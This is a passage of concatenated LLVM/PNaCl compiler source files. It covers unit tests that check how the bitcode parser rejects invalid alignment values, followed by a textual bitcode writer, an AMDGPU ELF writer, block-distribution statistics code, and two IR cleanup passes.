"i32 %p1) {\n"
" | | // BlockID "
"= 12\n"
" 64:0| 3: <1, 1> | blocks 1;\n"
" | | %b0:\n"
" 66:4| 3: <34, 0, 4, 2, 100> | call void @f0(i32 %p0, i32"
" @f0);\n"
"Error(66:4): Invalid relative value id: 100 (Must be <= 4)\n"
" 72:6| 3: <10> | ret void;\n"
" 74:4| 0: <65534> | }\n"
" 76:0|0: <65534> |}\n",
DumpMunger.getTestResults());
NaClParseBitcodeMunger Munger(ARRAY_TERM(BitcodeRecords));
EXPECT_FALSE(Munger.runTest(true));
EXPECT_EQ("Invalid call argument: Index 1\n"
"Corrupted bitcode\n",
stripErrorPrefix(Munger.getTestResults()));
}
/// Test how we recognize alignments in alloca instructions.
TEST(NaClParseInstsTests, BadAllocaAlignment) {
const uint64_t BitcodeRecords[] = {
1, naclbitc::BLK_CODE_ENTER, naclbitc::MODULE_BLOCK_ID, 2, Terminator,
1, naclbitc::BLK_CODE_ENTER, naclbitc::TYPE_BLOCK_ID_NEW, 2, Terminator,
3, naclbitc::TYPE_CODE_NUMENTRY, 4, Terminator,
3, naclbitc::TYPE_CODE_INTEGER, 32, Terminator,
3, naclbitc::TYPE_CODE_VOID, Terminator,
3, naclbitc::TYPE_CODE_FUNCTION, 0, 1, 0, Terminator,
3, naclbitc::TYPE_CODE_INTEGER, 8, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
3, naclbitc::MODULE_CODE_FUNCTION, 2, 0, 0, 0, Terminator,
1, naclbitc::BLK_CODE_ENTER, naclbitc::FUNCTION_BLOCK_ID, 2, Terminator,
3, naclbitc::FUNC_CODE_DECLAREBLOCKS, 1, Terminator,
3, naclbitc::FUNC_CODE_INST_ALLOCA, 1, getEncAlignPower(0), Terminator,
3, naclbitc::FUNC_CODE_INST_RET, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator
};
const uint64_t ReplaceIndex = 11; // index for FUNC_CODE_INST_ALLOCA
// Show text when alignment is 1.
NaClObjDumpMunger DumpMunger(ARRAY_TERM(BitcodeRecords));
EXPECT_TRUE(DumpMunger.runTest());
EXPECT_EQ(
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE' (80, 69, "
"88, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
" 16:0|1: <65535, 8, 2> |module { // BlockID = 8\n"
" 24:0| 1: <65535, 17, 2> | types { // BlockID = 17\n"
" 32:0| 3: <1, 4> | count 4;\n"
" 34:4| 3: <7, 32> | @t0 = i32;\n"
" 37:6| 3: <2> | @t1 = void;\n"
" 39:4| 3: <21, 0, 1, 0> | @t2 = void (i32);\n"
" 43:4| 3: <7, 8> | @t3 = i8;\n"
" 46:0| 0: <65534> | }\n"
" 48:0| 3: <8, 2, 0, 0, 0> | define external void @f0(i32"
");\n"
" 52:6| 1: <65535, 12, 2> | function void @f0(i32 %p0) {"
" \n"
" | | // BlockID "
"= 12\n"
" 60:0| 3: <1, 1> | blocks 1;\n"
" | | %b0:\n"
" 62:4| 3: <19, 1, 1> | %v0 = alloca i8, i32 %p0, "
"align 1;\n"
" 65:6| 3: <10> | ret void;\n"
" 67:4| 0: <65534> | }\n"
" 68:0|0: <65534> |}\n",
DumpMunger.getTestResults());
NaClParseBitcodeMunger Munger(ARRAY_TERM(BitcodeRecords));
EXPECT_TRUE(Munger.runTest(true));
// Show what happens when changing alignment to 0.
const uint64_t Align0[] = {
ReplaceIndex, NaClMungedBitcode::Replace,
3, naclbitc::FUNC_CODE_INST_ALLOCA, 1, getEncAlignZero(), Terminator,
};
EXPECT_TRUE(Munger.runTest(ARRAY(Align0), true));
EXPECT_TRUE(DumpMunger.runTestForAssembly(ARRAY(Align0)));
EXPECT_EQ(
" %v0 = alloca i8, i32 %p0, align 0;\n",
DumpMunger.getLinesWithSubstring("alloca"));
// Show what happens when changing alignment to 2**30.
const uint64_t Align30[] = {
ReplaceIndex, NaClMungedBitcode::Replace,
3, naclbitc::FUNC_CODE_INST_ALLOCA, 1, getEncAlignPower(30), Terminator,
};
EXPECT_FALSE(Munger.runTest(ARRAY(Align30), true));
EXPECT_EQ("Alignment can't be greater than 2**29. Found: 2**30\n"
"Corrupted bitcode\n",
stripErrorPrefix(Munger.getTestResults()));
EXPECT_FALSE(DumpMunger.runTestForAssembly(ARRAY(Align30)));
EXPECT_EQ(
" %v0 = alloca i8, i32 %p0, align 0;\n",
DumpMunger.getLinesWithSubstring("alloca"));
EXPECT_EQ(
"Error(62:4): Alignment can't be greater than 2**29. Found: 2**30\n",
DumpMunger.getLinesWithSubstring("Error"));
// Show what happens when changing alignment to 2**29.
const uint64_t Align29[] = {
ReplaceIndex, NaClMungedBitcode::Replace,
3, naclbitc::FUNC_CODE_INST_ALLOCA, 1, getEncAlignPower(29), Terminator,
};
EXPECT_TRUE(Munger.runTest(ARRAY(Align29), true));
EXPECT_EQ(
"Successful parse!\n",
Munger.getTestResults());
EXPECT_TRUE(DumpMunger.runTestForAssembly(ARRAY(Align29)));
EXPECT_EQ(
" %v0 = alloca i8, i32 %p0, align 536870912;\n",
DumpMunger.getLinesWithSubstring("alloca"));
}
// Test how we recognize alignments in load instructions.
TEST(NaClParseInstsTests, BadLoadAlignment) {
const uint64_t BitcodeRecords[] = {
1, naclbitc::BLK_CODE_ENTER, naclbitc::MODULE_BLOCK_ID, 2, Terminator,
1, naclbitc::BLK_CODE_ENTER, naclbitc::TYPE_BLOCK_ID_NEW, 2, Terminator,
3, naclbitc::TYPE_CODE_NUMENTRY, 2, Terminator,
3, naclbitc::TYPE_CODE_INTEGER, 32, Terminator,
3, naclbitc::TYPE_CODE_FUNCTION, 0, 0, 0, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
3, naclbitc::MODULE_CODE_FUNCTION, 1, 0, 0, 0, Terminator,
1, naclbitc::BLK_CODE_ENTER, naclbitc::FUNCTION_BLOCK_ID, 2, Terminator,
3, naclbitc::FUNC_CODE_DECLAREBLOCKS, 1, Terminator,
3, naclbitc::FUNC_CODE_INST_LOAD, 1, getEncAlignPower(0), 0, Terminator,
3, naclbitc::FUNC_CODE_INST_RET, 1, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator
};
const uint64_t ReplaceIndex = 9; // index for FUNC_CODE_INST_LOAD
// Show text when alignment is 1.
NaClObjDumpMunger DumpMunger(ARRAY_TERM(BitcodeRecords));
EXPECT_TRUE(DumpMunger.runTest());
EXPECT_EQ(
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE' (80, 69, "
"88, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
" 16:0|1: <65535, 8, 2> |module { // BlockID = 8\n"
" 24:0| 1: <65535, 17, 2> | types { // BlockID = 17\n"
" 32:0| 3: <1, 2> | count 2;\n"
" 34:4| 3: <7, 32> | @t0 = i32;\n"
" 37:6| 3: <21, 0, 0, 0> | @t1 = i32 (i32);\n"
" 41:6| 0: <65534> | }\n"
" 44:0| 3: <8, 1, 0, 0, 0> | define external i32 @f0(i32"
");\n"
" 48:6| 1: <65535, 12, 2> | function i32 @f0(i32 %p0) {"
" \n"
" | | // BlockID "
"= 12\n"
" 56:0| 3: <1, 1> | blocks 1;\n"
" | | %b0:\n"
" 58:4| 3: <20, 1, 1, 0> | %v0 = load i32* %p0, "
"align 1;\n"
" 62:4| 3: <10, 1> | ret i32 %v0;\n"
" 65:0| 0: <65534> | }\n"
" 68:0|0: <65534> |}\n",
DumpMunger.getTestResults());
NaClParseBitcodeMunger Munger(ARRAY_TERM(BitcodeRecords));
EXPECT_TRUE(Munger.runTest(true));
// Show what happens when changing alignment to 0.
const uint64_t Align0[] = {
ReplaceIndex, NaClMungedBitcode::Replace,
3, naclbitc::FUNC_CODE_INST_LOAD, 1, getEncAlignZero(), 0, Terminator,
};
// Note: Correct alignment is not checked by Munger (i.e. the PNaCl
// bitcode reader). It is checked later by the PNaCl ABI checker in
// pnacl-llc. On the other hand, the DumpMunger checks alignment for
// loads while parsing.
EXPECT_TRUE(Munger.runTest(ARRAY(Align0), true));
EXPECT_FALSE(DumpMunger.runTestForAssembly(ARRAY(Align0)));
EXPECT_EQ(
" %v0 = load i32* %p0, align 0;\n"
"Error(58:4): load: Illegal alignment for i32. Expects: 1\n",
DumpMunger.getLinesWithSubstring("load"));
// Show what happens when changing alignment to 4.
const uint64_t Align4[] = {
ReplaceIndex, NaClMungedBitcode::Replace,
3, naclbitc::FUNC_CODE_INST_LOAD, 1, getEncAlignPower(2), 0, Terminator,
};
EXPECT_TRUE(Munger.runTest(ARRAY(Align4), true));
EXPECT_FALSE(DumpMunger.runTestForAssembly(ARRAY(Align4)));
EXPECT_EQ(
" %v0 = load i32* %p0, align 4;\n"
"Error(58:4): load: Illegal alignment for i32. Expects: 1\n",
DumpMunger.getLinesWithSubstring("load"));
// Show what happens when changing alignment to 2**29.
const uint64_t Align29[] = {
ReplaceIndex, NaClMungedBitcode::Replace,
3, naclbitc::FUNC_CODE_INST_LOAD, 1, getEncAlignPower(29), 0, Terminator,
};
EXPECT_TRUE(Munger.runTest(ARRAY(Align29), true));
EXPECT_FALSE(DumpMunger.runTestForAssembly(ARRAY(Align29)));
EXPECT_EQ(
" %v0 = load i32* %p0, align 536870912;\n"
"Error(58:4): load: Illegal alignment for i32. Expects: 1\n",
DumpMunger.getLinesWithSubstring("load"));
// Show what happens when changing alignment to 2**30.
const uint64_t Align30[] = {
ReplaceIndex, NaClMungedBitcode::Replace,
3, naclbitc::FUNC_CODE_INST_LOAD, 1, getEncAlignPower(30), 0, Terminator,
};
EXPECT_FALSE(Munger.runTest(ARRAY(Align30), true));
EXPECT_EQ("Alignment can't be greater than 2**29. Found: 2**30\n"
"Corrupted bitcode\n",
stripErrorPrefix(Munger.getTestResults()));
EXPECT_FALSE(DumpMunger.runTestForAssembly(ARRAY(Align30)));
EXPECT_EQ(
" %v0 = load i32* %p0, align 0;\n"
"Error(58:4): load: Illegal alignment for i32. Expects: 1\n",
DumpMunger.getLinesWithSubstring("load"));
}
// Test how we recognize alignments in store instructions.
TEST(NaClParseInstsTests, BadStoreAlignment) {
const uint64_t BitcodeRecords[] = {
1, naclbitc::BLK_CODE_ENTER, naclbitc::MODULE_BLOCK_ID, 2, Terminator,
1, naclbitc::BLK_CODE_ENTER, naclbitc::TYPE_BLOCK_ID_NEW, 2, Terminator,
3, naclbitc::TYPE_CODE_NUMENTRY, 3, Terminator,
3, naclbitc::TYPE_CODE_FLOAT, Terminator,
3, naclbitc::TYPE_CODE_INTEGER, 32, Terminator,
3, naclbitc::TYPE_CODE_FUNCTION, 0, 0, 1, 0, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
3, naclbitc::MODULE_CODE_FUNCTION, 2, 0, 0, 0, Terminator,
1, naclbitc::BLK_CODE_ENTER, naclbitc::FUNCTION_BLOCK_ID, 2, Terminator,
3, naclbitc::FUNC_CODE_DECLAREBLOCKS, 1, Terminator,
3, naclbitc::FUNC_CODE_INST_STORE, 2, 1, getEncAlignPower(0), Terminator,
3, naclbitc::FUNC_CODE_INST_RET, 1, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator
};
const uint64_t ReplaceIndex = 10; // index for FUNC_CODE_INST_STORE
// Show text when alignment is 1.
NaClObjDumpMunger DumpMunger(ARRAY_TERM(BitcodeRecords));
EXPECT_TRUE(DumpMunger.runTest());
EXPECT_EQ(
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE' (80, 69, "
"88, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
" 16:0|1: <65535, 8, 2> |module { // BlockID = 8\n"
" 24:0| 1: <65535, 17, 2> | types { // BlockID = 17\n"
" 32:0| 3: <1, 3> | count 3;\n"
" 34:4| 3: <3> | @t0 = float;\n"
" 36:2| 3: <7, 32> | @t1 = i32;\n"
" 39:4| 3: <21, 0, 0, 1, 0> | @t2 = float (i32, float);\n"
" 44:2| 0: <65534> | }\n"
" 48:0| 3: <8, 2, 0, 0, 0> | define external \n"
" | | float @f0(i32, float);\n"
" 52:6| 1: <65535, 12, 2> | function \n"
" | | float @f0(i32 %p0, float "
"%p1) { \n"
" | | // BlockID "
"= 12\n"
" 60:0| 3: <1, 1> | blocks 1;\n"
" | | %b0:\n"
" 62:4| 3: <24, 2, 1, 1> | store float %p1, float* "
"%p0, \n"
" | | align 1;\n"
" 66:4| 3: <10, 1> | ret float %p1;\n"
" 69:0| 0: <65534> | }\n"
" 72:0|0: <65534> |}\n",
DumpMunger.getTestResults());
NaClParseBitcodeMunger Munger(ARRAY_TERM(BitcodeRecords));
EXPECT_TRUE(Munger.runTest(true));
// Show what happens when changing alignment to 0.
const uint64_t Align0[] = {
ReplaceIndex, NaClMungedBitcode::Replace,
3, naclbitc::FUNC_CODE_INST_STORE, 2, 1, getEncAlignZero(), Terminator,
};
// Note: Correct alignment is not checked by Munger (i.e. the PNaCl
// bitcode reader). It is checked later by the PNaCl ABI checker in
// pnacl-llc. On the other hand, the DumpMunger checks alignment for
// stores while parsing.
EXPECT_TRUE(Munger.runTest(ARRAY(Align0), true));
EXPECT_FALSE(DumpMunger.runTestForAssembly(ARRAY(Align0)));
EXPECT_EQ(
" store float %p1, float* %p0, align 0;\n"
"Error(62:4): store: Illegal alignment for float. Expects: 1 or 4\n",
DumpMunger.getLinesWithSubstring("store"));
// Show what happens when changing alignment to 4.
const uint64_t Align4[] = {
ReplaceIndex, NaClMungedBitcode::Replace,
3, naclbitc::FUNC_CODE_INST_STORE, 2, 1, getEncAlignPower(2), Terminator,
};
EXPECT_TRUE(Munger.runTest(ARRAY(Align4), true));
EXPECT_TRUE(DumpMunger.runTestForAssembly(ARRAY(Align4)));
// Show what happens when changing alignment to 8.
const uint64_t Align8[] = {
ReplaceIndex, NaClMungedBitcode::Replace,
3, naclbitc::FUNC_CODE_INST_STORE, 2, 1, getEncAlignPower(3), Terminator,
};
EXPECT_TRUE(Munger.runTest(ARRAY(Align8), true));
EXPECT_FALSE(DumpMunger.runTestForAssembly(ARRAY(Align8)));
EXPECT_EQ(
" store float %p1, float* %p0, align 8;\n"
"Error(62:4): store: Illegal alignment for float. Expects: 1 or 4\n",
DumpMunger.getLinesWithSubstring("store"));
// Show what happens when changing alignment to 2**29.
const uint64_t Align29[] = {
ReplaceIndex, NaClMungedBitcode::Replace,
3, naclbitc::FUNC_CODE_INST_STORE, 2, 1, getEncAlignPower(29), Terminator,
};
EXPECT_TRUE(Munger.runTest(ARRAY(Align29), true));
EXPECT_FALSE(DumpMunger.runTestForAssembly(ARRAY(Align29)));
EXPECT_EQ(
" store float %p1, float* %p0, align 536870912;\n"
"Error(62:4): store: Illegal alignment for float. Expects: 1 or 4\n",
DumpMunger.getLinesWithSubstring("store"));
// Show what happens when changing alignment to 2**30.
const uint64_t Align30[] = {
ReplaceIndex, NaClMungedBitcode::Replace,
3, naclbitc::FUNC_CODE_INST_STORE, 2, 1, getEncAlignPower(30), Terminator,
};
EXPECT_FALSE(Munger.runTest(ARRAY(Align30), true));
EXPECT_EQ("Alignment can't be greater than 2**29. Found: 2**30\n"
"Corrupted bitcode\n",
stripErrorPrefix(Munger.getTestResults()));
EXPECT_FALSE(DumpMunger.runTestForAssembly(ARRAY(Align30)));
EXPECT_EQ(
" store float %p1, float* %p0, align 0;\n"
"Error(62:4): store: Illegal alignment for float. Expects: 1 or 4\n",
DumpMunger.getLinesWithSubstring("store"));
}
} // end of namespace naclmungetest
<file_sep>/lib/Bitcode/NaCl/TestUtils/NaClBitcodeTextWriter.cpp
//===- NaClBitcodeTextWriter.cpp - Write textual bitcode ------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Implements writeNaClBitcodeRecordList(), which writes out bitcode records
// as text.
//
// Note that textual bitcode records do not contain a header,
// abbreviations, or a blockinfo block. Records are defined as a
// sequence of integers, separated by commas, and terminated with a
// semicolon.
//
// For readability, a newline is added after each record.
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClBitcodeMungeUtils.h"
using namespace llvm;
namespace {
class TextWriter {
TextWriter(const TextWriter&) = delete;
void operator=(const TextWriter&) = delete;
public:
TextWriter(SmallVectorImpl<char> &Buffer, raw_ostream &ErrStream)
: Buffer(Buffer), ErrStream(ErrStream), ValueStream(ValueBuffer) {}
bool emitRecord(NaClBitcodeAbbrevRecord &Record);
private:
// Buffer to write textual bitcode records into.
SmallVectorImpl<char> &Buffer;
// Stream for error messages.
raw_ostream &ErrStream;
// Selector for number of bits to use for abbreviations.
NaClBitcodeSelectorAbbrev DefaultAbbrevSelector;
// True iff in the blockinfo block.
bool InBlockInfoBlock = false;
// String stream to convert integers to strings.
std::string ValueBuffer;
raw_string_ostream ValueStream;
void writeValue(uint64_t Value);
void writeSeparator() {
Buffer.push_back(',');
}
void writeTerminator() {
Buffer.push_back(';');
Buffer.push_back('\n');
}
};
void TextWriter::writeValue(uint64_t Value) {
ValueStream << Value;
ValueStream.flush();
for (auto ch : ValueBuffer)
Buffer.push_back(ch);
ValueBuffer.clear();
}
bool TextWriter::emitRecord(NaClBitcodeAbbrevRecord &Record) {
size_t NumValues = Record.Values.size();
switch (Record.Code) {
case naclbitc::BLK_CODE_ENTER:
// Be careful to remove all records in the blockinfo block.
if (InBlockInfoBlock) {
ErrStream << "Blocks not allowed within the blockinfo block\n";
return false;
}
if (NumValues != 2) {
ErrStream << "Block enter doesn't contain 2 values: Found: "
<< NumValues << "\n";
return false;
}
if (Record.Values[0] == naclbitc::BLOCKINFO_BLOCK_ID) {
InBlockInfoBlock = true;
return true;
}
writeValue(Record.Code);
writeSeparator();
writeValue(Record.Values[0]);
writeSeparator();
// Note: Since the textual form of the bitcode doesn't have
// abbreviations, we simplify the number of bits field
// (ie. Values[1] within the record) with the default bit width.
writeValue(DefaultAbbrevSelector.NumBits);
writeTerminator();
return true;
case naclbitc::BLK_CODE_EXIT:
if (InBlockInfoBlock) {
InBlockInfoBlock = false;
return true;
}
if (NumValues != 0) {
ErrStream << "Block exit shouldn't have any values. Found: "
<< NumValues << "\n";
}
writeValue(Record.Code);
writeTerminator();
return true;
case naclbitc::BLK_CODE_DEFINE_ABBREV:
case naclbitc::BLK_CODE_HEADER:
// These records are skipped in textual bitcode.
return true;
default: {
// Don't write records within blockinfo blocks.
if (InBlockInfoBlock) {
if (Record.Code == naclbitc::BLOCKINFO_CODE_SETBID)
return true;
ErrStream << "Invalid record found in blockinfo block\n";
return false;
}
writeValue(Record.Code);
for (const auto Value : Record.Values) {
writeSeparator();
writeValue(Value);
}
writeTerminator();
return true;
}
}
}
} // end of anonymous namespace
bool llvm::writeNaClBitcodeRecordList(NaClBitcodeRecordList &RecordList,
SmallVectorImpl<char> &Buffer,
raw_ostream &ErrStream) {
TextWriter Writer(Buffer, ErrStream);
for (const auto &Record : RecordList) {
if (!Writer.emitRecord(*Record))
return false;
}
return true;
}
<file_sep>/lib/Target/R600/MCTargetDesc/AMDGPUELFObjectWriter.cpp
//===-- AMDGPUELFObjectWriter.cpp - AMDGPU ELF Writer ----------------------==//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
/// \file
//===----------------------------------------------------------------------===//
#include "AMDGPUMCTargetDesc.h"
#include "llvm/MC/MCELFObjectWriter.h"
#include "llvm/MC/MCFixup.h"
using namespace llvm;
namespace {
class AMDGPUELFObjectWriter : public MCELFObjectTargetWriter {
public:
AMDGPUELFObjectWriter();
protected:
unsigned GetRelocType(const MCValue &Target, const MCFixup &Fixup,
bool IsPCRel) const override {
return Fixup.getKind();
}
};
} // End anonymous namespace
AMDGPUELFObjectWriter::AMDGPUELFObjectWriter()
: MCELFObjectTargetWriter(false, 0, 0, false) { }
MCObjectWriter *llvm::createAMDGPUELFObjectWriter(raw_pwrite_stream &OS) {
MCELFObjectTargetWriter *MOTW = new AMDGPUELFObjectWriter();
return createELFObjectWriter(MOTW, OS, true);
}
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClBitcodeBlockDist.cpp
//===-- NaClBitcodeBlockDist.cpp ---------------------------------------===//
// implements distribution maps for blocks within PNaCl bitcode.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClBitcodeBlockDist.h"
#include "llvm/Bitcode/NaCl/NaClLLVMBitCodes.h"
using namespace llvm;
/// GetBlockName - Return a symbolic block name if known, otherwise return
/// null.
static const char *GetBlockName(unsigned BlockID) {
// Standard blocks for all bitcode files.
if (BlockID < naclbitc::FIRST_APPLICATION_BLOCKID) {
if (BlockID == naclbitc::BLOCKINFO_BLOCK_ID)
return "BLOCKINFO_BLOCK";
return 0;
}
switch (BlockID) {
default: return 0;
case naclbitc::MODULE_BLOCK_ID: return "MODULE_BLOCK";
case naclbitc::PARAMATTR_BLOCK_ID: return "PARAMATTR_BLOCK";
case naclbitc::PARAMATTR_GROUP_BLOCK_ID: return "PARAMATTR_GROUP_BLOCK_ID";
case naclbitc::TYPE_BLOCK_ID_NEW: return "TYPE_BLOCK_ID";
case naclbitc::CONSTANTS_BLOCK_ID: return "CONSTANTS_BLOCK";
case naclbitc::FUNCTION_BLOCK_ID: return "FUNCTION_BLOCK";
case naclbitc::VALUE_SYMTAB_BLOCK_ID: return "VALUE_SYMTAB";
case naclbitc::METADATA_BLOCK_ID: return "METADATA_BLOCK";
case naclbitc::METADATA_ATTACHMENT_ID: return "METADATA_ATTACHMENT_BLOCK";
case naclbitc::USELIST_BLOCK_ID: return "USELIST_BLOCK_ID";
case naclbitc::GLOBALVAR_BLOCK_ID: return "GLOBALVAR_BLOCK";
}
}
NaClBitcodeBlockDistElement NaClBitcodeBlockDist::DefaultSentinal;
NaClBitcodeBlockDistElement::~NaClBitcodeBlockDistElement() {}
NaClBitcodeDistElement *NaClBitcodeBlockDistElement::
CreateElement(NaClBitcodeDistValue Value) const {
return new NaClBitcodeBlockDistElement();
}
double NaClBitcodeBlockDistElement::
GetImportance(NaClBitcodeDistValue Value) const {
return static_cast<double>(GetTotalBits());
}
const char *NaClBitcodeBlockDistElement::GetTitle() const {
return "Block Histogram";
}
const char *NaClBitcodeBlockDistElement::GetValueHeader() const {
return "Block";
}
void NaClBitcodeBlockDistElement::PrintStatsHeader(raw_ostream &Stream) const {
Stream << " %File";
NaClBitcodeBitsDistElement::PrintStatsHeader(Stream);
}
void NaClBitcodeBlockDistElement::
PrintRowStats(raw_ostream &Stream, const NaClBitcodeDist *Distribution) const {
const NaClBitcodeBlockDist *BlockDist =
cast<NaClBitcodeBlockDist>(Distribution);
Stream << format(" %6.2f",
(double) GetTotalBits()/BlockDist->GetTotalBits()*100.00);
NaClBitcodeBitsDistElement::PrintRowStats(Stream, Distribution);
}
void NaClBitcodeBlockDistElement::
PrintRowValue(raw_ostream &Stream, NaClBitcodeDistValue Value,
const NaClBitcodeDist *Distribution) const {
Stream << NaClBitcodeBlockDist::GetName(Value);
}
NaClBitcodeBlockDist::~NaClBitcodeBlockDist() {}
uint64_t NaClBitcodeBlockDist::GetTotalBits() const {
uint64_t Total = 0;
for (NaClBitcodeDist::const_iterator Iter = begin(), IterEnd = end();
Iter != IterEnd; ++Iter) {
const NaClBitcodeBlockDistElement *Element =
cast<NaClBitcodeBlockDistElement>(Iter->second);
Total += Element->GetTotalBits();
}
return Total;
}
std::string NaClBitcodeBlockDist::GetName(unsigned BlockID) {
if (const char *BlockName = GetBlockName(BlockID)) {
return BlockName;
}
std::string Str;
raw_string_ostream StrStrm(Str);
StrStrm << "UnknownBlock" << BlockID;
return StrStrm.str();
}
<file_sep>/lib/Transforms/NaCl/ExpandConstantExpr.cpp
//===- ExpandConstantExpr.cpp - Convert ConstantExprs to Instructions------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass expands out ConstantExprs into Instructions.
//
// Note that this only converts ConstantExprs that are referenced by
// Instructions. It does not convert ConstantExprs that are used as
// initializers for global variables.
//
// This simplifies the language so that the PNaCl translator does not
// need to handle ConstantExprs as part of a stable wire format for
// PNaCl.
//
//===----------------------------------------------------------------------===//
#include <map>
#include "llvm/IR/Constants.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Instructions.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
static bool expandInstruction(Instruction *Inst);
namespace {
// This is a FunctionPass because our handling of PHI nodes means
// that our modifications may cross BasicBlocks.
struct ExpandConstantExpr : public FunctionPass {
static char ID; // Pass identification, replacement for typeid
ExpandConstantExpr() : FunctionPass(ID) {
initializeExpandConstantExprPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnFunction(Function &Func);
};
}
char ExpandConstantExpr::ID = 0;
INITIALIZE_PASS(ExpandConstantExpr, "expand-constant-expr",
"Expand out ConstantExprs into Instructions",
false, false)
static Value *expandConstantExpr(Instruction *InsertPt, ConstantExpr *Expr) {
Instruction *NewInst = Expr->getAsInstruction();
NewInst->insertBefore(InsertPt);
NewInst->setName("expanded");
expandInstruction(NewInst);
return NewInst;
}
static bool expandInstruction(Instruction *Inst) {
// A landingpad can only accept ConstantExprs, so it should remain
// unmodified.
if (isa<LandingPadInst>(Inst))
return false;
bool Modified = false;
for (unsigned OpNum = 0; OpNum < Inst->getNumOperands(); OpNum++) {
if (ConstantExpr *Expr =
dyn_cast<ConstantExpr>(Inst->getOperand(OpNum))) {
Modified = true;
Use *U = &Inst->getOperandUse(OpNum);
PhiSafeReplaceUses(U, expandConstantExpr(PhiSafeInsertPt(U), Expr));
}
}
return Modified;
}
bool ExpandConstantExpr::runOnFunction(Function &Func) {
bool Modified = false;
for (llvm::Function::iterator BB = Func.begin(), E = Func.end();
BB != E;
++BB) {
for (BasicBlock::InstListType::iterator Inst = BB->begin(), E = BB->end();
Inst != E;
++Inst) {
Modified |= expandInstruction(Inst);
}
}
return Modified;
}
FunctionPass *llvm::createExpandConstantExprPass() {
return new ExpandConstantExpr();
}
<file_sep>/lib/Transforms/NaCl/GlobalCleanup.cpp
//===- GlobalCleanup.cpp - Cleanup global symbols post-bitcode-link -------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
// ===---------------------------------------------------------------------===//
//
// PNaCl executables should have no external symbols or aliases. These passes
// internalize (or otherwise remove/resolve) GlobalValues and resolve all
// GlobalAliases.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/Triple.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
class GlobalCleanup : public ModulePass {
public:
static char ID;
GlobalCleanup() : ModulePass(ID) {
initializeGlobalCleanupPass(*PassRegistry::getPassRegistry());
}
bool runOnModule(Module &M) override;
};
class ResolveAliases : public ModulePass {
public:
static char ID;
ResolveAliases() : ModulePass(ID) {
initializeResolveAliasesPass(*PassRegistry::getPassRegistry());
}
bool runOnModule(Module &M) override;
};
}
char GlobalCleanup::ID = 0;
INITIALIZE_PASS(GlobalCleanup, "nacl-global-cleanup",
"GlobalValue cleanup for PNaCl "
"(assumes all of the binary is linked statically)",
false, false)
static bool CleanUpLinkage(GlobalValue *GV) {
// TODO(dschuff): handle the rest of the linkage types as necessary without
// running afoul of the IR verifier or breaking the native link
switch (GV->getLinkage()) {
case GlobalValue::ExternalWeakLinkage: {
auto *NullRef = Constant::getNullValue(GV->getType());
GV->replaceAllUsesWith(NullRef);
GV->eraseFromParent();
return true;
}
case GlobalValue::WeakAnyLinkage: {
GV->setLinkage(GlobalValue::InternalLinkage);
return true;
}
default:
// default with fall through to avoid compiler warning
return false;
}
return false;
}
bool GlobalCleanup::runOnModule(Module &M) {
bool Modified = false;
// Cleanup llvm.compiler.used. We leave llvm.used as-is,
// because optimization passes feed off it to understand
// what globals may/may not be optimized away. For PNaCl,
// it is removed before ABI validation by CleanupUsedGlobalsMetadata.
if (auto *GV = M.getNamedGlobal("llvm.compiler.used")) {
GV->eraseFromParent();
Modified = true;
}
for (auto I = M.global_begin(), E = M.global_end(); I != E;) {
GlobalVariable *GV = I++;
Modified |= CleanUpLinkage(GV);
}
for (auto I = M.begin(), E = M.end(); I != E;) {
Function *F = I++;
Modified |= CleanUpLinkage(F);
}
return Modified;
}
ModulePass *llvm::createGlobalCleanupPass() { return new GlobalCleanup(); }
char ResolveAliases::ID = 0;
INITIALIZE_PASS(ResolveAliases, "resolve-aliases",
"resolve global variable and function aliases", false, false)
bool ResolveAliases::runOnModule(Module &M) {
bool Modified = false;
for (auto I = M.alias_begin(), E = M.alias_end(); I != E;) {
GlobalAlias *Alias = I++;
Alias->replaceAllUsesWith(Alias->getAliasee());
Alias->eraseFromParent();
Modified = true;
}
return Modified;
}
ModulePass *llvm::createResolveAliasesPass() { return new ResolveAliases(); }
<file_sep>/unittests/Bitcode/NaClBitReaderTest.cpp
//===- llvm/unittest/Bitcode/NaClBitReaderTest.cpp - Tests for BitReader --===//
//
